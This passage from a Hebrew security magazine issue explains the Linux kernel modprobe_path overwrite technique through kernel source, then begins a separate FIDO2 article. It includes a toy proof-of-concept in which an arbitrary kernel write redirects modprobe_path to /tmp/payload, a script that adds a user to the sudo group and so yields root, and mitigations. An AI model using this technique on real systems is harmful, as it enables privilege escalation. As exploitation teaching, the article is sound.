‫לא מוגדר)‪ ,‬אבל במידה ויש בית לא דפיס‪ ,‬תתבצע קריאה ל‪ request_module-‬עם מחרוזת שמכילה את "‪-‬‬
‫‪ "binfmt‬ומיד לאחריו יופיעו הבתים הרביעי והשלישי בהתאמה בפורמט הקסדצימלי‪ ,‬כלומר אם נניח כי‬
‫ארבעת הבתים הראשונים של הקובץ הם‪ ,0x01 0x02 0x03 0x04 :‬אז השם של המודול יהיה‪:‬‬
‫‪binfmt-2423‬‬
‫בפונקציה ‪ __request_module‬אנחנו סוף כל סוף מגיעים לקריאה המיוחלת‪:‬‬

‫;)‪ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC‬‬
‫]‪[kmod.c‬‬

‫‪14‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ ועכשיו נרכיב‬,‫פירקנו‬
-‫ בעזרת שימוש ב‬,‫ מתמודד עם קובץ מפורמט לא מוכר‬execve ‫אז למעשה אנחנו מבינים שכאשר‬
‫ לאחר מכן הוא יעבור שוב על‬.‫ הוא מנסה לטעון לקרנל מודול עם שם שתלוי בפורמט הקובץ‬modprobe
‫ אין מנוס מלהחזיר‬- ‫ ואם גם זה לא יעבוד‬,‫רשימת הפורמטים בניסיון להשתמש (אולי) במודול החדש שנטען‬
:‫ כדי לראות כיצד זה מתבצע‬call_modprobe ‫ נבחן את הקוד של‬.‫שגיאה‬
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);

if (!argv)
goto out;
module_name = kstrdup(module_name, GFP_KERNEL);

if (!module_name)
goto free_argv;
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,

NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
[kmod.c]
-‫ ואז מריצה את הבינארי ה‬,‫בהתחלה הפונקציה "מרכיבה" את המערכים של משתני הסביבה והארגומנטים‬
‫ אבל‬,‫ (לא ניכנס לאיך הקרנל עושה את זה‬root ‫ בהרשאות‬modprobe_path ‫י שנמצא בנתיב‬-usermode
.)‫אתם יותר ממוזמנים לקרוא על זה כאן‬

15 2023 ‫ ינואר‬,146 ‫גליון‬
‫ באותו קובץ בו‬.‫ כדי לוודא שהוא אכן הנתיב שראינו קודם‬modprobe_path-‫נעקוב אחרי הנתיב ששמור ב‬
:‫ נראה את ההגדרה‬call_modprobe ‫כתובה הפונקציה‬
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
:‫ומשם נגיע לקובץ הקונפיגורציה‬

config MODPROBE_PATH
string "Path to modprobe binary"
default "/sbin/modprobe"
help
When kernel code requests a module, it does so by calling
the "modprobe" userspace utility. This option allows you to
set the path where that binary is found. This can be changed
at runtime via the sysctl file
/proc/sys/kernel/modprobe. Setting this to the empty string
removes the kernel's ability to request modules (but
userspace can still load modules explicitly).
[Kconfig.c]
-‫ ל‬symlink ‫ ונראה שגם הוא‬,/sbin/modprobe ‫ הוא‬modprobe_path-‫כלומר הנתיב ששמור ב‬

:‫ שראינו קודם‬/usr/sbin/modprobe-‫ בדומה ל‬,/bin/kmod
~# ls -l /sbin/modprobe
lrwxrwxrwx 1 root root 9 Feb 17 2022 /sbin/modprobe -> /bin/kmod
modprobe_path overwriting technique
modprobe_path ‫ שמשתמשת במה שראינו עד כה נקראת‬kernel exploitation ‫טכניקה בעולם של‬

‫ כלומר יש ביכולתנו לכתוב‬,‫ בקרנל‬write-what-where ‫ נניח שבתור תוקפים הגענו למצב של‬.overwriting
‫ מופעל אז‬KASLR ‫ ובנוסף יש ברשותנו כתובת קרנלית (למשל אם‬,‫בתים בכתובת שרירותית לבחירתנו‬
‫ ונדרוס את הנתיב‬modprobe_path ‫ אם נחשב את הכתובת של הסימבול‬.)‫הצלחנו להדליף כתובת קרנלית‬
!root ‫ נוכל לגרום להרצת קובץ בנתיב שרירותי עם הרשאות‬,‫שנמצא בה עם נתיב לבחירתנו‬
?‫איך בפועל נעשה זאת‬

‫ לאחר מכן‬.‫ניצור קובץ כלשהו עם פורמט לא מוכר כך שאחד מארבעת הבתים הראשונים שלו אינם דפיסים‬
‫ (או‬execve-‫ כך אם נגרום ל‬.‫ עם נתיב לקובץ לבחירתנו כפי שהסברנו קודם‬modprobe_path ‫נדרוס את‬
call_modprobe ‫ למעשה תיקרא הפונקציה‬,‫לאחד מאחיו) לנסות להריץ את הקובץ עם הפורמט הלא מוכר‬
‫ כלומר ירוץ קוד לבחירתנו‬.modprobe_path-‫ את הקובץ בנתיב ששמור ב‬root ‫והקרנל יריץ עם הרשאות‬
.‫ יותר טוב מזה לא יכולנו לבקש‬.root ‫עם הרשאות‬
!‫הגיע הזמן לדוגמה‬

16 2023 ‫ ינואר‬,146 ‫גליון‬
‫על מנת לדמות תרחיש ‪ write-what-where‬כתבתי מודול קטן ובסיסי אותו נטען לקרנל‪ ,‬אליו ניתן להעביר‬
‫כתובת ואת הבתים שהוא יכתוב אליה (אפשר לראות את הקוד שלו כאן(‪.‬‬
‫בנוסף‪ ,‬אנחנו יכולים לראות שהערך של ‪ modprobe_path‬תקני‪:‬‬
‫‪~# cat /proc/sys/kernel/modprobe‬‬
‫‪/sbin/modprobe‬‬
‫וכן קיים במערכת משתמש גנרי המשמש את התוקף‪:‬‬

‫‪~# id my_user‬‬
‫)‪uid=1001(my_user) gid=1001(my_user) groups=1001(my_user‬‬
‫כעת נעבור לצד התוקף‪ .‬כפי שהסברנו קודם‪ ,‬אנחנו מניחים שביכולתנו להשיג‪/‬לחשב את הכתובת של‬
‫הסימבול ‪ .modprobe_path‬כרגע בשביל למצוא אותה נוכל לבצע את הפקודה הבאה‪:‬‬
‫‪~# cat /proc/kallsyms | grep modprobe_path‬‬
‫‪ffffffffaa48b940 D modprobe_path‬‬
‫‪ /proc/kallsyms‬מאפשר לנו לקבל את הרשימה של הסימבולים של הקרנל‪ ,‬גם כאלו שהם חלק מהקרנל‬
‫המקומפל וגם סימבולים ששייכים ל‪ LKMs-‬שטעונים כרגע לקרנל‪.‬‬
‫נשתמש בכתובת שמצאנו (‪ ,)942xffffffffaa48b2‬כאשר את המידע השמור בה נדרוס בעזרת פרימיטב ה‪-‬‬
‫‪ .arbitrary write‬נציין שבגלל ‪ KASLR‬שהוזכר קודם‪ ,‬אם תבצעו את אותה הפקודה על המכונה שלכם אתם‬
‫תראו כתובת שונה‪.‬‬
‫במקרה שלנו נבחר לדרוס את הבתים שכתובים בה (כלומר המחרוזת "‪ )"/sbin/modprobe‬עם המחרוזת‬
‫"‪ ,"/tmp/payload‬כאשר בקובץ ‪ payload‬יהיה הקוד אותו נרצה להריץ עם הרשאות ‪.root‬‬
‫;)(‪prepare_arbitrary_writes‬‬
‫;‪void *modprobe_path_addr = (void*) 0xffffffffaa48b940‬‬

‫;"‪char *new_modprobe_path = "/tmp/payload‬‬
‫;)‪arbitrary_write(modprobe_path_addr, new_modprobe_path, strlen(new_modprobe_path) + 1‬‬
‫;)(‪release_arbitrary_writes‬‬
‫בנוסף‪ ,‬ניצור את שני הקבצים שדרושים לניצול‪ :‬קובץ ה‪ payload-‬עם הקוד שירוץ בהרשאות ‪ root‬וכן הקובץ‬
‫שיהיה עם פורמט לא מוכר‪.‬‬
‫;)‪create_payload(new_modprobe_path‬‬
‫;"‪char *broken_file_path = "/tmp/broken_file‬‬

‫;)‪create_broken_file(broken_file_path‬‬
‫קובץ ה‪ payload-‬יכיל סקריפט פשוט שיוסיף את המשתמש ‪ my_user‬לקבוצה ‪:sudo‬‬

‫‪#!/bin/bash‬‬
‫‪usermod -G sudo my_user‬‬
‫ואת קובץ "‪ "broken‬ניצור בגודל ‪ 4‬בתים ותוכנו‪:‬‬

‫‪~# hexdump -C /tmp/broken_file‬‬
‫‪00000000 01 02 03 04‬‬ ‫|‪|....‬‬

‫‪17‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫לבסוף נגרום לפונקציה ‪ call_modprobe‬בקרנל להיקרא באמצעות‪:‬‬
‫{ )‪void trigger_modprobe(char *broken_file_path‬‬
‫;)‪system(broken_file_path‬‬
‫}‬
‫הפלט שנקבל כאשר נריץ את ה‪ PoC-‬ממחיש שאכן הפורמט של ‪ /tmp/broken_file‬הוא פורמט לא מוכר‪:‬‬
‫‪~# ./modprobe_path_overwrite‬‬
‫‪sh: 1: /tmp/broken_file: Exec format error‬‬
‫ונשים לב שהשתנו הדברים הבאים‪:‬‬

‫‪~# id my_user‬‬
‫)‪uid=1001(my_user) gid=1001(my_user) groups=1001(my_user),27(sudo‬‬
‫‪~# cat /proc/sys/kernel/modprobe‬‬
‫‪/tmp/payload‬‬
‫כלומר הנתיב ששמור ב‪ modprobe_path-‬השתנה ל‪ /tmp/payload-‬וכן למשתמש שלנו ‪ my_user‬נוספה‬
‫הקבוצה ‪ ,sudo‬משמע הסקריפט שכתוב בקובץ ‪ /tmp/payload‬אכן רץ‪.‬‬
‫כפי שאתם בוודאי שמתם לב הטכניקה הזו מאוד נקייה ופשוטה להבנה‪ ,‬כתיבה וניצול‪ :‬היא לא דורשת‬
‫שליטה ב‪ ,instruction pointer-‬שינויים והתאמות למחסנית (כמו למשל ‪ ,)stack pivoting‬חזרה נקייה לקוד‬
‫כדי לא לחטוף ‪ kernel panic‬וכיוצא בזה‪ .‬בנוסף‪ ,‬אין צורך להתחשב במעבר מ‪ user mode-‬ל‪kernel mode-‬‬
‫ולהיפך‪ ,‬שהרי הכתיבה ל‪ modprobe_path-‬וה"הטרגה" עצמה של השיטה למען הרצת קוד‪ ,‬שתיהן‬
‫מתבצעות בשלבים שונים ממקורות שונים ולא בהכרח ברצף‪.‬‬
‫מי מכם שמעוניין לראות כיצד הטכניקה הזו משתלבת בהשמשות אמיתיות בתחום של ‪kernel exploitation‬‬
‫יכול להתבונן ברשימה (החלקית) הבאה‪:‬‬
‫‪‬‬ ‫‪CVE-2022-32250‬‬
‫‪‬‬ ‫‪CVE-2022-27666‬‬
‫‪‬‬ ‫‪CVE-2022-0185‬‬
‫‪‬‬ ‫‪CVE-2021-32606‬‬
‫‪‬‬ ‫‪CVE-2021-3609‬‬
‫‪‬‬ ‫‪CVE-2017-8890‬‬
‫‪‬‬ ‫‪CVE-2017-2636‬‬
‫‪‬‬ ‫‪CVE-2016-8655‬‬

‫‪18‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מיטיגציות‬
‫י שנמצא‬-usermode-‫ נראה שבשביל להריץ את הבינארי ה‬,call_modprobe ‫אם נחזור לרגע למימוש של‬
:‫ הוא מבצע את הקוד הבא‬modprobe_path ‫בנתיב‬
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

[kmod.c]
‫ אבל נראה שהיא‬,call_usermodehelper_setup ‫בשלב מוקדם יותר לא נכנסנו לתוך המימוש של הפונקציה‬
:‫דווקא מכילה דבר מעניין‬
struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data)
{
struct subprocess_info *sub_info;
sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
if (!sub_info)
goto out;
INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
sub_info->argv = argv;
sub_info->envp = envp;
sub_info->cleanup = cleanup;
sub_info->init = init;
sub_info->data = data;
out:
return sub_info;
}
[umh.c]
!‫ לא בהכרח יכיל את הנתיב שהעברנו לפונקציה‬sub_info ‫ של‬struct-‫ של ה‬path ‫נשים לב שהשדה‬

‫ הנתיב למעשה‬,‫ מוגדר‬CONFIG_STATIC_USERMODEHELPER ‫ אם‬.)modprobe_path ,‫(בקונטקסט שלנו‬
.‫ יוותר ללא שינוי‬2[argv[ ‫ ואילו‬,STATIC_USERMODEHELPER_PATH ‫יהיה הנתיב ששמור תחת‬
‫י‬-usermode-‫ מאפשרת לנו לקבע את הבינארי ה‬CONFIG_STATIC_USERMODEHELPER ‫ההגדרה של‬

‫ (דיפולטית הוא‬STATIC_USERMODEHELPER_PATH ‫שהקרנל יגרום להרצתו להיות זה שבנתיב‬
‫ כמובן שהוא לא יריץ אותו "על‬.2[argv[ ‫ והוא בתורו יריץ את הבינארי בנתיב‬,)/sbin/usermode-helper
‫ אלא הוא יודע לפלטר את הנתיבים שהוא מקבל ולבחור מה‬,‫עיוור" שכן אחרת למעשה לא שיפרנו כלום‬

19 2023 ‫ ינואר‬,146 ‫גליון‬
-‫ אשר מקבלת את ה‬call_usermodehelper_exec ‫ נעבור כעת לפונקציה‬.‫מהם להריץ ועם אילו הרשאות‬
:‫ החזירה‬call_usermodehelper_setup ‫ אותו‬struct info
int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
...
/*
* If there is no binary for us to call, then just return and get out of
* here. This allows us to set STATIC_USERMODEHELPER_PATH to "" and
* disable all call_usermodehelper() calls.
*/
if (strlen(sub_info->path) == 0)
goto out;
...
out:
call_usermodehelper_freeinfo(sub_info);
...
return retval;
}
[umh.c]
.‫ לא נריץ שום קובץ‬,‫ הוא מחרוזת ריקה‬sub_info ‫ של‬struct-‫ ב‬path ‫אנחנו יכולים לראות שאם השדה‬
‫ להיות‬STATIC_USERMODEHELPER_PATH ‫ וכן הגדרת‬CONFIG_STATIC_USERMODEHELPER ‫כלומר ע"י הגדרת‬
‫ מתוך הקרנל (כפי שגם כתוב בהערה בקוד‬userspace-‫ נוכל למנוע הרצת בינאריים ב‬,‫מחרוזת ריקה‬
.‫המקור) ובכך לצמצם עוד יותר את משטח התקיפה‬
‫ רלוונטית לא רק למקרה של‬CONFIG_STATIC_USERMODEHELPER-‫המיטיגציה הזו שכוללת שימוש ב‬

‫ אלא גם למקומות אחרים בקרנל שבהם מעוניינים להריץ‬,execve ‫ כאשר מתבצע‬modprobe-‫הקריאה ל‬
‫ בלינק הזה נמצא הקומיט אשר בו מומשה המיטיגציה וניתן לקרוא בקצרה דרך‬.‫יים‬-usermode ‫בינאריים‬
.‫ההערות של הקומיט על אספקטים שונים שהתייחסו אליהם במימוש‬
:‫ נראה‬search_binary_handler ‫כעת אם נחזור קצת אחורה בשרשרת הקריאות לפונקציה‬

static int search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
...
retry:
list_for_each_entry(fmt, &formats, lh) {
...
retval = fmt->load_binary(bprm);

20 2023 ‫ ינואר‬,146 ‫גליון‬
...
}
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
"if (need retry(" ‫ כל קטע הקוד בבלוק של‬enabled ‫ אינו‬CONFIG_MODULES ‫ אם‬,‫כפי שכבר ציינו קודם‬
‫ אשר בעקבותיה לא יתרחש ניסיון ההרצה‬request_module-‫כלל לא יבוצע וכך נמנע לחלוטין את הקריאה ל‬
.modprobe_path ‫של הקובץ בנתיב‬
:‫ וחברים‬request_module-‫ כלל לא נוכל להשתמש ב‬,‫ לא מוגדר‬CONFIG_MODULES ‫ נראה שאם‬,‫למעשה‬

#ifdef CONFIG_MODULES
extern char modprobe_path[]; /* for sysctl */
/* modprobe exit status on success, -ve on error. Return value
* usually useless though. */
extern __printf(2, 3)
int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)
#define try_then_request_module(x, mod...) \
((x) ?: (__request_module(true, mod), (x)))
#else
static inline int request_module(const char *name, ...) { return -ENOSYS; }
static inline int request_module_nowait(const char *name, ...) { return -ENOSYS; }
#define try_then_request_module(x, mod...) (x)
#endif
[kmod.h]
:‫ בקובץ הקונפיגורציה‬CONFIG_MODULES ‫ואף כפי שכתוב בתיאור של‬

"Enable loadable module support"
.LKMs-‫ תגרום באופן כללי להשבתה של תמיכה ב‬CONFIG_MODULES ‫כלומר השבתה של‬
‫ והיא העובדה שפעמים רבות על‬,‫בעיה נפוצה במיטיגציות למיניהן מתבטאת במקרה הנוכחי באופן די חריף‬
‫מנת להתמודד עם תקיפות פוטנציאליות יש צורך לבטל פונקציונליות מסוימת כדי להקטין את משטח‬
.‫ דבר שלעיתים יכול להשפיע מאוד לרעה על השימוש הכללי במערכת ועל היכולות שהיא מספקת‬,‫התקיפה‬

21 2023 ‫ ינואר‬,146 ‫גליון‬
‫סיכום‬
‫את המאמר פתחנו עם קצת רקע על ‪( loadable kernel modules‬או ‪ )LKMs‬ועל פקודות שמאפשרות שליטה‬
‫עליהם‪ ,‬ביניהן הפקודה ‪.modprobe‬‬
‫בהמשך נכנסנו עמוק לתוך המימוש של ‪ do_execve‬בקוד המקור של הקרנל של לינוקס‪ ,‬ובמהלך הטיול‬
‫הקצר למדנו איך הקרנל מתמודד עם סוגים שונים של קבצי הרצה‪ ,‬וגם מה הוא עושה כאשר הוא נתקל‬
‫בקובץ מפורמט לא מוכר‪ .‬כך נחשפנו לשימוש שלו ב‪ modprobe-‬ובפרט ב‪ ,modprobe_path-‬שימוש‬
‫שגרם להרבה חוקרים להיות מאושרים יותר ובזכותו אנו כאן היום‪.‬‬
‫לאחר מכן סקרנו את השיטה המופלאה של דריסת ‪ modprobe_path‬כדי להשיג הרצת קוד בהרשאות ‪root‬‬
‫בעזרת פרימיטיב של כתיבה שרירותית וכן הדלפת כתובת‪ .‬ראינו דוגמת צעצוע שממחישה את הניצול שלה‬
‫והסברנו כיצד ניתן להתגונן מפניה‪.‬‬
‫לינק לקוד המלא שהוצג במאמר‪:‬‬

‫‪https://github.com/dvirgol10/dgw-modprobe_path-overwrite‬‬
‫על המחבר‬
‫שמי דביר גולן‪ ,‬בן ‪ ,18‬לפניות מכל סוג שהוא אני זמין במייל‪ .dvirgol10@gmail.com :‬תודה רבה לשלומי‬
‫בוטנרו על התמיכה‪ ,‬ההערות והעידוד לכתוב את המאמר‪.‬‬

‫‪22‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪ - FIDO2‬עולם ללא סיסמאות?‬
‫מאת אלון בר סלע ויהונתן אלקבס‬
‫הקדמה‬
‫‪( FIDO Alliance‬קיצור של ‪ )Fast IDentity Online‬היא קבוצת עבודה שהוקמה לצורך התמודדות עם אחת‬
‫מחולשות אבטחת המידע הפגיעות ביותר באינטרנט ובכלל ‪ -‬שימוש בסיסמאות‪.‬‬
‫‪ FIDO‬מורכבת מנציגים של כ‪ 250-‬ארגונים שכוללים חברות טכנולוגיות (‪,Microsoft Amazon ,Google‬‬

‫‪ ,)META ,ARM ,Apple‬חברות אבטחת מידע (‪ ,)Akamai ,RSA ,Ping Identity‬ספקי שירותים (‪,Pay-Pal‬‬
‫‪ )VISA ,American Express‬וגופים ממשלתיים (‪UK Cabinet ,German Information Security Office ,NIST‬‬
‫‪ .)Office‬לכולם מטרה אחת ברורה ‪ -‬להפוך את האינטרנט למקום בטוח יותר‪.‬‬
‫‪ FIDO2‬היא מכלול תקנים שהוגדרו ע"י התאגדות ‪ FIDO‬במטרה לאפשר למשתמש הקצה הזדהות מהירה‬
‫מול שירותים שונים באינטרנט ללא התבססות על סיסמאות (‪ ;)passwordless‬אלא ע"י שימוש בהזדהות‬
‫אקטיבית של המשתמש‪ ,‬בניית מפתחות א‪-‬סימטריים ייחודיים לכל שירות והגדרת פרוטוקול הזדהות בין‬
‫השרת ודפדפן הלקוח ובין דפדפן הלקוח למכשיר האימות‪ .‬נשמע מבטיח? בשנתיים האחרונות התרחבה‬
‫מאוד התמיכה ב‪ FIDO2-‬למאות אתרי אינטרנט ושירותים שמנהלים את חיי היומיום שלנו ‪Gmail, Yahoo -‬‬
‫‪,Salesforce ,AWS GCP ,Microsoft Azure ,Coinbase ,Twitter ,Facebook ,Pay-Pal ,Dropbox ,mail‬‬
‫‪ Office 365 ,Tesla ,NordVPN ,GitHub‬ועוד‪.‬‬
‫תמיכה ב‪ FIDO2-‬מאפשרת למשתמש להגדיר כי אופן ההזדהות לאתר או לשירות יתבצע באמצעות‬
‫"חומרה מזהה" (‪ Authenticator‬בלעז) אשר כוללת סט מכשרים כגון טלפון חכם (זיהוי פנים‪ ,‬טביעת אצבע‬
‫או ‪ ,)PIN‬מחשב אישי (דוגמת ‪ )Windows Hello‬או חומרה ייעודית (‪ .)Yubikey ,Bio-Key‬המפתחות הפרטיים‬
‫לא עוזבים את ה‪ Authenticator-‬ועל מנת להפעיל אותו (לצורך חתימה על ‪ chellenge‬שמתקבל מהשרת)‬
‫נדרשת התערבות פיזית של המשתמש וחיבור ישיר או תקשורת קצרת טווח בין החומרה המזהה‬
‫והפלטפורמה (מחשב או טלפון נייד) ממנה ניגשים לשירות‪.‬‬
‫המאמר הקרוב הוא חלקה הראשון של סדרה בת ‪ 0‬מאמרים אשר שם דגש על הסברים כלליים ומהווה‬
‫הכנה טובה עבור המאמר השני אשר מיועד להיות משמעותית יותר ‪ hands-on‬עבור אלו שרוצים להבין כיצד‬
‫האימות מתרחש "באמת" ‪ -‬איזה מידע עובר‪ ,‬כיצד הוא נראה וכיצד הוא ת'כלס מונע מתקפות‪.‬‬
‫‪FIDO2 -‬עולם ללא סיסמאות?‬

‫‪23‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫קצת היסטוריה ועוד פרטים לא ממש חשובים לפני שמתחילים‬
‫התאגדות ‪ FIDO‬נוסדה בשנת ‪ 2012‬ע"י חברות ‪ Lenovo ,Pay-Pal‬וחברות נוספות‪ .‬בשנת ‪ 2013‬התרחבה‬
‫ההתאגדות עם צירופן של ‪ Google‬ו‪.NXP Semiconductor-‬‬
‫בשנת ‪ 2014‬פרסמה ‪ FIDO‬שני תקנים משמעותיים (שעדיין נתמכים באמצעי הגנה רבים)‪:‬‬
‫‪ Universal 2nd Factor - FIDO U2F .1‬מהווה תקן פתוח שנועד להסדיר את הצד הקריפטוגרפי למימוש‬
‫אימות מבוסס מפתחות א‪-‬סימטריים‪ ,‬אופן המימוש של חומרת ה‪( 2FA-‬הגדרת הממשקים הפיזיים‬
‫דוגמת ‪ USB ,Bluetooth‬או ‪ ,NFC‬אופן השמירה על המפתחות) וקישור חומרת ה‪ 2FA-‬לדפדפן (ללא‬
‫צורך בהתקנת יישום צד או דרייבר נוסף)‪ FIDO U2F .‬נחשב לתקן מוצלח ועזר להתפתחות שוק‬
‫"חומרות ההזדהות" (‪ .)Authenticators‬ולמרות הנחיתות שלו ביחס למוצרי ‪ FIDO2‬ניתן עדיין למצוא‬
‫מגוון חומרות התומכות ב‪.U2F-‬‬
‫‪ Universal Authentication Framework - FIDO UAF .0‬הינה מסגרת עבודה (שזה די דומה לתקן‪ ,‬אבל‬
‫בלי להגדיר בדיוק את אופן המימוש) לאימות ללא סיסמא בין שרת ולקוח‪ .‬המסגרת מגדירה כיצד‬
‫מקשרים בין אמצעי הזיהוי לאתר האינטרנט‪ ,‬באילו שיטות הזדהות ניתן להתשמש‪ ,‬שימוש במפתחות‬
‫א‪-‬סימטריים ועוד‪.‬‬
‫בשנת ‪ 2015‬מייקרסופט הכריזה על תמיכה באימות מבוסס ‪ FIDO‬ב‪ .WINDOWS 10-‬בנוסף‪ ,‬נוספו‬
‫להתאגדות נציגי של ממשלות ארה"ב‪ ,‬גרמניה‪ ,‬אוסטרליה‪ ,‬סין ואנגליה‪.‬‬
‫בשנת ‪ 2016‬ארגון ה‪ )W3C) World Wide Web Consorium-‬הכריז על תמיכה בתקן הזדהות רשתית‬
‫שמבוססת על ההצעה שהוגשה ע"י איגוד ‪ .FIDO‬בכך‪ ,‬החל שיתוף פעולה בין ‪ FIDO‬וה‪ W3C-‬שבמסגרתה‬
‫יוגדר תקן ‪.FIDO2‬‬
‫בשנת ‪ 2017‬הצטרפה ‪ facebook‬להתאחדות ‪ FIDO‬והחלה לאפשר למשתמשים להזדהות לשירותי‬

‫‪ facebook‬באמצעות ‪.FIDO 2FA‬‬
‫בשנת ‪ 2018‬תקן ‪ FIDO2‬הבשיל לכדי מימוש ודפדפנים מובילים (‪ )Edge ,Firefox ,Chrome‬הכריזו על‬
‫תמיכה בתקן בדפדפנים שלהם‪ .‬בנוסף‪ ,‬אנדרואיד הכריזה על תמיכה ושילוב התקן במערכת ההפעלה‪.‬‬
‫בשנת ‪ 2019‬חלקים מתקן ‪ FID02‬הוכרזו כסטנדרטים מוכרים ע"י איגוד התקשורת העולמי (‪.)ITU-T‬‬
‫נעצור כאן‪ ,‬נראה שהתעמקנו מספיק בהיסטוריה של התאגדות ‪ ,FIDO‬מה שחשוב שתזכרו מכל הפרק‬
‫הנ"ל הוא שתקן ‪ FIDO2‬מוכר ע"י תעשיות וממשלות מובילות‪ ,‬ואולי יום אחד (סביב ‪ 2050‬לפי הקצב‬
‫הנוכחי) תוכלו להזדהות עם ‪ FIDO2‬גם מול שירותי ה‪ online-‬של אחד הבנקים בישראל‪.‬‬

‫‪24‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫שיטות אימות ‪101‬‬
‫ישנן ‪ 3‬דרכים לבצע אימות לזהות משתמש דיגיטלי או בשפה פשוטה יותר ‪ -‬דרכים להוכיח שאני מי שאני‬
‫טוען שאני‪:‬‬
‫באמצעות "משהו שאני יודע" (סוד) ‪ -‬סיסמה‪ ,‬שם של המורה המועדפת מכיתה ג'‬ ‫‪‬‬
‫באמצעות "משהו שיש לי" ‪( token -‬אֲ ִסימֹון בעברית צחה) פיזי‪ ,‬טלפון חכם‬ ‫‪‬‬
‫באמצעות "משהו שאני" ‪ -‬טביעת אצבע‪ ,‬רשתית עין‪ ,‬תווי פנים‬ ‫‪‬‬
‫אנחנו מקווים שזה ברור לכולם כי "משהו שאני יודע" היא כנראה האופציה הכי חלשה מבחינת אבטחת‬
‫מידע‪ .‬אז למה בכל זאת בחרו בה? התשובה הקצרה ‪ -‬כי היא הכי פשוטה למימוש‪ .‬התשובה הארוכה ‪-‬‬
‫ובכן‪ ,‬דמיינו את האינטרנט של שנות ה‪( 92-‬אם אפשר בכלל לקרוא לזה אינטרנט לעומת מה שיש היום)‪ ,‬מי‬
‫בכלל חשב על זה שאדם צלול בנפשו ינסה להעביר סכום המקביל למיליון דולר במטבעות קריפטוגרפיים‬
‫לצידו השני של הגלובוס?? במילים פשוטות ‪ -‬העברה של תמונות חתולים היו השאיפה הכי גדולה בזמנו‪,‬‬
‫סי כמו פרוטוקול לאימות טביעת אצבע בשביל כך‪ .‬שם משתמש‬
‫פ ְנ ִ‬
‫בטוח שלא צריך להמציא משהו ֶ‬
‫תו ִל ִּיים‪.‬‬
‫הח ּ‬
‫”‪ “coolkid1978‬וסיסמה "‪ "103456‬הם די ויותר בשביל להתחבר לפורום ֲ‬
‫אוקיי אז הבנו ש‪"-‬משהו שאני יודע" היא כנראה החולייה החלשה וכנראה ש‪"-‬משהו שאני" הוא אמצעי‬
‫האימות החזק ביותר מכיוון שלא ניתן לשכפל\ לגנוב אותו מבלי ש'קצת' תשימו לב לכך‪ .‬אבל המחשבה הזו‬
‫היא לא הכי אינטואיטיבית ברגע שמבינים כיצד מנגנוני אימות עובדים‪.‬‬
‫אבטחה ביומטרית הופכת במהירות לדרך המועדפת להגן בחברות ענק מפני גורמים עוינים שמטרתם‬
‫הונאה וגניבת זהות‪ .‬קוראי טביעות אצבע‪ ,‬סריקות רשתית העין וזיהוי פנים הפכו למיינסטרים‪ ,‬ובראשם‬
‫חברות טכנולוגיה דוגמת ‪ Microsoft‬ו‪ .Apple-‬פרטי האימות (סיסמה‪ ,‬אסימון‪ ,‬טביעת אצבע וכו') לרוב ישלחו‬
‫וישמרו בצד שרת לאחר הפיכתם למידע דיגיטאלי והפעלת פונקציית גיבוב כזו או אחרת (משפחות ‪,MD‬‬
‫‪ .)SHA‬בעת ניסיון ההתחברות צד ה‪ client-‬יריץ את פונקצית הגיבוב שוב ותתבצע השוואת ‪ string‬פשוטה‬
‫בין זו שהתקבלה לזו שנשמרה בעבר ב‪ DB-‬השרת‪ .‬אבל מה יקרה אם השרת ישמור את פרטי ההזדהות‬
‫שלנו כמו שהם ללא גיבוב?‬
‫במידה ומדובר בסיסמה הרי שהיא תהיה כמו שהזנו אותה ב‪ cleat text-‬אבל מה אם אופן ההזדהות שלנו‬
‫היה באמצעות מידע ביומטרי כמו טביעת אצבע? כיצד הוא ישמר? ובכן‪ ,‬באמצעות פורמט ‪fingerprint‬‬
‫‪ template‬כזה או אחר‪ .‬הסיכון הכי גדול במקרה כזה הוא שללא פונקציית הגיבוב יהיה ניתן לשחזר את‬
‫נתוני טביעת האצבע גם ללא האצבע הפיזית‪ .‬משמעות הדבר היא שבמידה ותוקף פרץ ל‪ DB-‬המכיל את‬
‫פורמט טביעת האצבע שלכם מעתה ועד סוף חייכם הוא יוכל להתחקות אחר הזהות שלכם‪ .‬גניבת זהות‬
‫ביומטרית היא דבר מפחיד‪.‬‬

